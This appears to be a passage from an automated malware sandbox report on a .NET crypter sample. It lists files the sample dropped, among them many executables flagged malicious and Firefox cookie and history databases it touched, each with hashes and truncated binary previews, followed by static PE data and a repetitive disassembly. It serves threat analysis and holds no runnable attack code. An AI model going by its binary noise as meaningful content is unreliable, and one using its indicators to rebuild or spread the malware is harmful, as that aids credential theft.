C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423328
Entropy (8bit):	7.9889468260390535
Encrypted:	false
SSDEEP:
MD5:	A463E516041F4BC84F03BC8FE2B643DD
SHA1:	5A3EC50E94565671531E1CE66C2EE1D1A88A0E09
SHA-256:	68024EBC8676FEB8C4B480F5042A8FE8F108A88FC20FC6DBFC3CF92707F148B8
SHA-512:	5657068CF82679A6CC5636FE4F465834F9340EF0C48A35CA412988F50909922654291BED9178B8990EBA2430569E1EBECD45CAD119C5A524616C75187D4DABDE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2..f.............................:... ...@....@.. ....................................`..................................:..S....@..............xO..(&...`......`9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H......................................................................p....C...~V...{..S..gi.~f..<......(.Q>;&.&...F+.&/.g..c^.,q.v...[0..BW.e.P}..........(.....D.(D.h]....2..1.P..3@K........0JX....r...yJ.&...g....A...G..R`...6..t....<40........9.. !G..W.`..6 #..D..7.;.{...-..4...TQ.0Vs..U..!DU..).np...!..l.S...H......A.D_.d...N.15.ouP...r.G..;.$qt.y...I.'...'...]?......d.........s<;(.yd3..4.:..U. .......n.9....u-![...~p..e.8....n.Cn`..8.q...J.L..$F.

C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	418816
Entropy (8bit):	6.7434348766555265
Encrypted:	false
SSDEEP:
MD5:	2F59FBD6623872FBDC2F63D18023BFDA
SHA1:	A71FD212DC780EDD062584ACFE3FC28A8090D039
SHA-256:	0C50705ED7CFC68F11AECD4CEE0B808934D4957672AC0EA0615E9A1C31870A52
SHA-512:	BD2CAEB7E88B333B31A864B66FE7B14CDF86560B488AE2B911893A059E184E7A80F0EDE8423AC8C10DE2BCFF3F5A85D1477F0A2E74986066F69D636D159B62F8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M............f......f./....f...\...."..........f......f.+....f.,....Rich...........PE..L.....%d.................H..........~>.......`....@.........................................................................J..x..................................LK...............................*..@...............$............................text...jG.......H.................. ..`.data........`...Z...L..............@....rsrc..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3129722
Entropy (8bit):	7.997346351250425
Encrypted:	true
SSDEEP:
MD5:	1905889C50091A12A2B3A94E525A3566
SHA1:	EAB0E89754662700424884B4A7461EDE47367A9B
SHA-256:	063DCD646F6D386E80C4B4130D2A7925BDD18DC28C48106F1DAA0AF5845B50BE
SHA-512:	2D35DD799938B82F82DF4426E01B676636F2ACC7581C4F910F5885A2E021D1543D010462A024AD0428140A8AAC60CC24D9554C26274BDA1C0204F533562D7883
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@...................@..............................P........,..........................................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1075200
Entropy (8bit):	7.828820550765554
Encrypted:	false
SSDEEP:
MD5:	8C8AF20BF6536903C1D042CEBEDE6475
SHA1:	8EF42ABC3AD478F6D8C17691FE4CC1975CA43684
SHA-256:	B15BDB0A4D7F265CF4ED7C46668F4CA247347CA2CE4A7689CB8DBB25863F294A
SHA-512:	8F68E5302D07FB74DDE0E42E0D370E1CB7C1D6B0372633FCFAAB95CD1D12F9786C4E44E71B3CC98EEEB60EA10F54497773C3B4AA58AFA5297FAD93A3F11097E0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P..@...&.......^... ...`....@.. ...............................D....@..................................]..O....`..F#...........................]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc...F#...`...$...B..............@..@.reloc...............f..............@..B.................]......H........D...J..............`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r)..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exegmoZLMPgmA7iERod (copy)

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1075200
Entropy (8bit):	7.828820550765554
Encrypted:	false
SSDEEP:
MD5:	8C8AF20BF6536903C1D042CEBEDE6475
SHA1:	8EF42ABC3AD478F6D8C17691FE4CC1975CA43684
SHA-256:	B15BDB0A4D7F265CF4ED7C46668F4CA247347CA2CE4A7689CB8DBB25863F294A
SHA-512:	8F68E5302D07FB74DDE0E42E0D370E1CB7C1D6B0372633FCFAAB95CD1D12F9786C4E44E71B3CC98EEEB60EA10F54497773C3B4AA58AFA5297FAD93A3F11097E0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P..@...&.......^... ...`....@.. ...............................D....@..................................]..O....`..F#...........................]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc...F#...`...$...B..............@..@.reloc...............f..............@..B.................]......H........D...J..............`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r)..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423328
Entropy (8bit):	7.989339766042097
Encrypted:	false
SSDEEP:
MD5:	92C66C140509B75BAE23F055D427AFB4
SHA1:	1ECC289391AD3FCB89B3E84CBB15944A10444AE0
SHA-256:	CC73160C4AF628FE13B6C3E83E06C5565FF67818B4148C13025786779BD4E127
SHA-512:	0B8C7E30AF4F74BA7A49F106388172C025A008D0F7DE13B88C0340AB0AC9B3611D66429257D65DEE5459E5AEBE78F472E1AA3E687009365DE3E36FF166D4366D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>..f.............................:... ...@....@.. ....................................`..................................:..S....@..............xO..(&...`......`9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H.......................................................................j....(.m........u..B...+..g....M.....D..g..%n.w..M..O....@...f...[a....`.3..y..\L..y...G.........8...n..E.up.flqh...:...1H.C.................i..]6..NgV...F.....t.A...b..h...\........r...&.&*kM.....Pa.FG....-I.%...T....'.\|z.A......Sh.../......F...@...F.&...l...s.....J..F....j..5.e7....O.h..-k..U.N..`.........v.....^....S..;v.^..?.!.ZQx..^..Sh.4 .^..\.@.....-b.7..?......7+8....1....T6.

C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11496960
Entropy (8bit):	7.95681767955623
Encrypted:	false
SSDEEP:
MD5:	D60D266E8FBDBD7794653ECF2ABA26ED
SHA1:	469ED7D853D590E90F05BDF77AF114B84C88DE2C
SHA-256:	D4DF1ABA83289161D578336E1B7B6DAF7269BB73ACC92BD9DFA2C262EBC6C4D2
SHA-512:	80DF5D568E34DFC086F546E8D076749E58A7230ED1AA33F3A5C9D966809BECADC9922317095032D6E6A7ECDFBFBCE02A72CC82513AB0D132C5FFA6C07682BD87
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#.................]p.........@.............................`............ .....................................................<....P......@...`*...........................................F..(.......8............... ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..p.-......................... ..`.text1..X...........................@....text2...`.......b..................`..h.rsrc........P.......h..............@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3141632
Entropy (8bit):	7.172503458895126
Encrypted:	false
SSDEEP:
MD5:	1FEDF314D7C5ED06FF6833C9C8FE5441
SHA1:	AC0F8C841D197A3DB368A3C646D242541ECE144B
SHA-256:	279AF267D365013227156575DCF61B6977CE4051DD4632515BD224314CEA7C59
SHA-512:	6328A2828A77FDAC906710552842A584208066033119F62AE0E97DA88DB37C35C02D368B554E58030D949E2DAD19715BF351284332706D939F8C6754D4DC9242
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........................)..........)).. ...@)...@.. .......................`0...........@..................................)).K....`)......................@0.....O)).............................................. ............... ..H............text.....).. ....)................. ..`.sdata.......@).......).............@....rsrc........`).......).............@..@.reloc.......@0......./.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	361336
Entropy (8bit):	7.9885937954241255
Encrypted:	false
SSDEEP:
MD5:	D687AF3B103399AA245807BB719878B7
SHA1:	C3D45032BFD13C7DC75F08E55CABA56D0A1D4A42
SHA-256:	CC7056857CEC7D81101AF02D79431F4E193090FEF7D505D1970D4B2846F385B9
SHA-512:	8482B42FB16963BDCC6BCE162F79F64E28BFA46977788DF2044A7A0E805E67D44991C6EF24E1DD45643C7F69ABC66DEB257F23E7680B25DA8C486DC5BA0FF978
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.................P...........n... ........@.. ....................................`..................................n..S....................Z..x)..........`m............................................... ............... ..H............text....N... ...P.................. ..`.rsrc................R..............@..@.reloc...............X..............@..B.................n......H........^................................................................$....sp...k.Ta.....\|.K..?wN...-..m..E...C.9..-#....f..=...5spJ......z.s.._4v.ZUO.w...b...ne.sR..v@sO.4.] ......V.L.....TV[.X.vF......\|..hI..$<gb...v-Cm<[6R...8..!m..........'.?j....W`JI..!k........,.O.<9..W...X..LEq.... !......Q..$.@....,99..~...%(...\..\|B..#.a... ......w..ZV..9.k..F.Zl........[.O..t....Gz&..c..yk&.N..;........T.fh.]Z.%....).=...-.Ig..T....1.!..z...E...9.....x.

C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	222112
Entropy (8bit):	7.96837916071809
Encrypted:	false
SSDEEP:
MD5:	EA754070163F8ECA914B259096D834F0
SHA1:	CEBF2ECCAD67DEAF6AC9B8DC71118AD474B16868
SHA-256:	A893E20FEA08C8615DE1775AD3559EA6EFF35B5EC3B1AB6F463924285A84F47F
SHA-512:	2A75B505780C6670204F5C4E2818BB1B027C88E98C9C45DDE39AED786AFAEFF60215AFB278FDD89EED58639C9ECCF901836DA4329D3C62C03911992B923CA225
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...T..f.............................(... ...@....@.. ....................................`..................................(..S....@..............x=..(&...`......`'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......................................................................$..hII#MtzNi.T.............`...&g~....n~^..r.b..f.r.Ga.x.\|....}.Ib....PL:d.6... ......:E$7....e.aW...!..m5..5@..7W...........H:....+.(g...\[.k.z5.b....yd.)8....]K.._.}oB$......<]....K..%...On..j...nA}.P^.f.6Z\|.._..XcsF^....O].CQ..w....K..ts........F...H...].?WT>"f.].*..v.......$_...Lm.?.AO[9....e.8.~.e.....]NH.[L7\C...I.{.\|.A....\..F.L;M..CG.:..d..K>.....6"b..Ofy...u8...:.&.Qe7

C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22487040
Entropy (8bit):	5.272510082812899
Encrypted:	false
SSDEEP:
MD5:	CB3952F1852179348F8D2DB91760D03B
SHA1:	4D2C9D9B09226524868760263C873EDC664456A9
SHA-256:	A9EA40670A686E175CC8C32E3FC6BA92505379303D6524F149022490A2DDA181
SHA-512:	163006435A30B31FF0B079215EFC0CEDF6A624516AF1FFCCBC6144CFDB205B822029D523F28EC86E0391AF1B741771B860CF4D3492C87567A55F541A39C69D11
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..h...W..,.............@..............................`......*W...`... ...................................... Z.N....0Z.X....pZ......pM..f...........`\..P..........................._M.(....................4Z.X............................text... .h.......h.................`.``.data....+....i..,....h.............@.`..rdata...-...@p......&p.............@.`@.pdata...f...pM..h...TM.............@.0@.xdata..`.....P.......P.............@.0@.bss.....+....P.......................`..edata..N.... Z.......P.............@.0@.idata..X....0Z.......P.............@.0..CRT....p....PZ.......P.............@.@..tls.........`Z.......P.............@.@..rsrc........pZ.......P.............@.0..reloc...P...`\..R....R.............@.0B................................................................................................................................

C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6666862
Entropy (8bit):	6.624649438102188
Encrypted:	false
SSDEEP:
MD5:	8FB3610C4BA81A5A93666562E712740A
SHA1:	FB8B6774E490680C1E04494D101F6CED3B7BE816
SHA-256:	8F72E50FAC72D3C5880F79997F6CF38026B00D6F907BCD80C5D780CF92DB7158
SHA-512:	6A833782EB81204D420841ACC1CD0D5F03BCE00D9725D850E5EF83A5C39C084E7BD1285582531A4092565BE9FA8409A7CFBCC0B74A5CEFD6DFAF9D4E4F5FD5CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}.f.t_..%.........#.@H...Z...f..........PH...@.................................).f....... .........................B......................................h ............................H....................................................text....>H......@H.................`.P`.data........PH......FH.............@.`..rdata..8....pH......`H.............@.`@/4............I.......H.............@.0@.bss....T.f...L.......................`..edata..B.............L.............@.0@.idata................L.............@.0..CRT....4.............L.............@.0..tls.................L.............@.0..reloc..h ......"....L.............@.0B/14...................Z.............@..B/29......... ........Z.............@..B/41.....XL.......N...\|\.............@..B/55.....B.... ........\.............@..B/67.....T.............].............@.0B/80.....a....0........].

C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3037032
Entropy (8bit):	6.781602952551882
Encrypted:	false
SSDEEP:
MD5:	098E15E88E5332253356C78BADF8D479
SHA1:	D5AAEB94EC0D92BD9AA7D4B76860E9C25CF10EE2
SHA-256:	6B89CDFE0D3EBC90994EE564AAC9C88B0DF80F25720AEDADFF660A0D079AD0C9
SHA-512:	27E7480332F7F07916399D9515057750E43F42D68AEBA095C77AB76616F899F49269EC78738F10D39D6869F67FF4EF768C03BA52A649C652AFA9EE161F2E1892
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$......... ...N...N...N......N.`6....N...K...N.#i....N.#i...N...M...N...J..N...K..N...O...N..P5...N.i.O..N...O.:.N.i.K..N.i.N...N.l....N.......N.i.L...N.Rich..N.........................PE..L.....%`.................8...........$.......P....@...................................!...@..........................%.....T...\.... ...f...........>..h............)..T...................D*.......)..@............P...............................text....@.......8.................. ..`.rdata...0...P...(...<..............@..@.data............n...d..............@....tls................................@....gfids..............................@..@.rsrc....f... ...h..................@..@........................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	331640
Entropy (8bit):	7.987353721341769
Encrypted:	false
SSDEEP:
MD5:	E8E6CD9EC48FAFCCC174F7BF07D045E2
SHA1:	0DFCCF235DC62D2592F5062A1B9691043C14CC9E
SHA-256:	76B4E6A99335D5FFA35E15863B544BF2EC9ED76CC8320E1D3E2F521A27018D07
SHA-512:	33E6C097784B29D3CBA17B751B3E87EA9D583DBF19646897843471F96EFD88E9B64D529A5F2C9FA13B9EDAD5D7CCF8D454E496FC63F1B288C44FD8509E8C1459
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...=..f............................^.... ........@.. .......................@............`.....................................S.......................x)... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H...........................................................................6.....Z...9)..^........j...PtY.#..A.R.\...d.4..7.Z..&w.w\|.5.':.T..~...x....T...7M.w.Sa...Qp.R.t.u...qzD(&...4.. .:O.d....V[. c..l.prK.]..v....Y\_.{.....'..T.-f..av...w(H.n.]..gpj)...OKV.......q..Q..y.P.!..Y;O.0.....@.y...t.".u...7n.B.=.......C^.=.Mi......4......b.~..t..d.......#......Xa`.I\.R!...'}>.}..X...J.v.__...n.....\..f.'>...}....."..j(..vFQC..'l..'7..p..:............

C:\Users\user\Pictures\DreamifyCorp\ClientSecureUpdater.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	976632104
Entropy (8bit):	0.04563192849725171
Encrypted:	false
SSDEEP:
MD5:	CD0A0C5A7305A1E9A9C9F8B609732DB1
SHA1:	E24EF707F3044865524ACF986401F4A8F60CC9EE
SHA-256:	9399ED901C69CFDA8B3E5FAB16A499FF927A3975AE5B1077C0A2C810D6193A81
SHA-512:	1C205C5697CA39DCE1AD5FC3EFE0D8E6E4B783B89A3DF8F33D5B97667338AC8134FC1E989F04550BD47B5A32ACED85A8CE245FAC7F84514C0CAC674A17089523
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$......... ...N...N...N......N.`6....N...K...N.#i....N.#i...N...M...N...J..N...K..N...O...N..P5...N.i.O..N...O.:.N.i.K..N.i.N...N.l....N.......N.i.L...N.Rich..N.........................PE..L.....%`.................8...........$.......P....@...................................!...@..........................%.....T...\.... ...f...........>..h............)..T...................D*.......)..@............P...............................text....@.......8.................. ..`.rdata...0...P...(...<..............@..@.data............n...d..............@....tls................................@....gfids..............................@..@.rsrc....f... ...h..................@..@........................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.401285265674409
Encrypted:	false
SSDEEP:
MD5:	A0C7F9277CC4BE5B6741088512A6ABC1
SHA1:	00F13026DBCCDD9D03F937AE065590F48D1173DD
SHA-256:	CE44758F9DDE31CFC170316D7B13004AEF485504C0FF6CC455D5BBD2A0822124
SHA-512:	4AB36AA97CB851DBB69F1585136EABE2E735C54CACF984B99F448718EA6AB94D710A9A145E08DDC296B7A0BD7507D53F99A319528B67626B85B271F0F91487E2
Malicious:	false
Reputation:	unknown
Preview:	regfG...G....\.Z.................... ....p......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...*............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	0.9182958340544896
Encrypted:	false
SSDEEP:
MD5:	0C11BB317BD26E93C30821526C3834BD
SHA1:	70B99746FBF26B12B541D4C1A8451FD98B249BB2
SHA-256:	7393BA4F11E19A5F6BEE10ED995B0D959A52C4470855F6D68D4D1E34E26CB70F
SHA-512:	62AD6D1D2DABFFDBC800B416A01546C0337EC8B350112E6C09101D847D42BFBDE44C2B3949D3397FCC08BBF2800604FB5A700D71750DB24CF7E15D67AB07E726
Malicious:	false
Reputation:	unknown
Preview:	...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.941763956114646
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
File size:	2'457'088 bytes
MD5:	96cb7df578398d5d46dd4daeffbdc41f
SHA1:	7b7ecf7d006c2e2cd2b237dde3402f6b78e6c54b
SHA256:	e301b79d4279d52c49c886fcd0ab8acc3941c5cf28c7dd0eb57e8af81fe476fb
SHA512:	84e915d323b1595c387123f7f5d8b5d291e2c2c9a8df9e4eba69deff9cc0ba195872065daa6f1c808a848eb8fd259cfd5f5ea164b8a3c9407bd6ca25fffc8479
SSDEEP:	49152:Al0Ivwg2krKlsBijSIpWALFfi1zfPmX9YSVY8ZAAiJte:tIvliWVA9i1Te2SVYYAD
TLSH:	E2B501A88275896CE4D9C5F4F1A6CE1F2E774B2138CDC389F6696EB8D93312ED114423
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... V...............P..l#...........#.. ....#...@.. ........................%...........@................................

File Icon


Icon Hash:	073b7343ccf25803

Static PE Info

General

Entrypoint:	0x6389fe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x9C5620ED [Tue Feb 11 12:37:01 2053 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
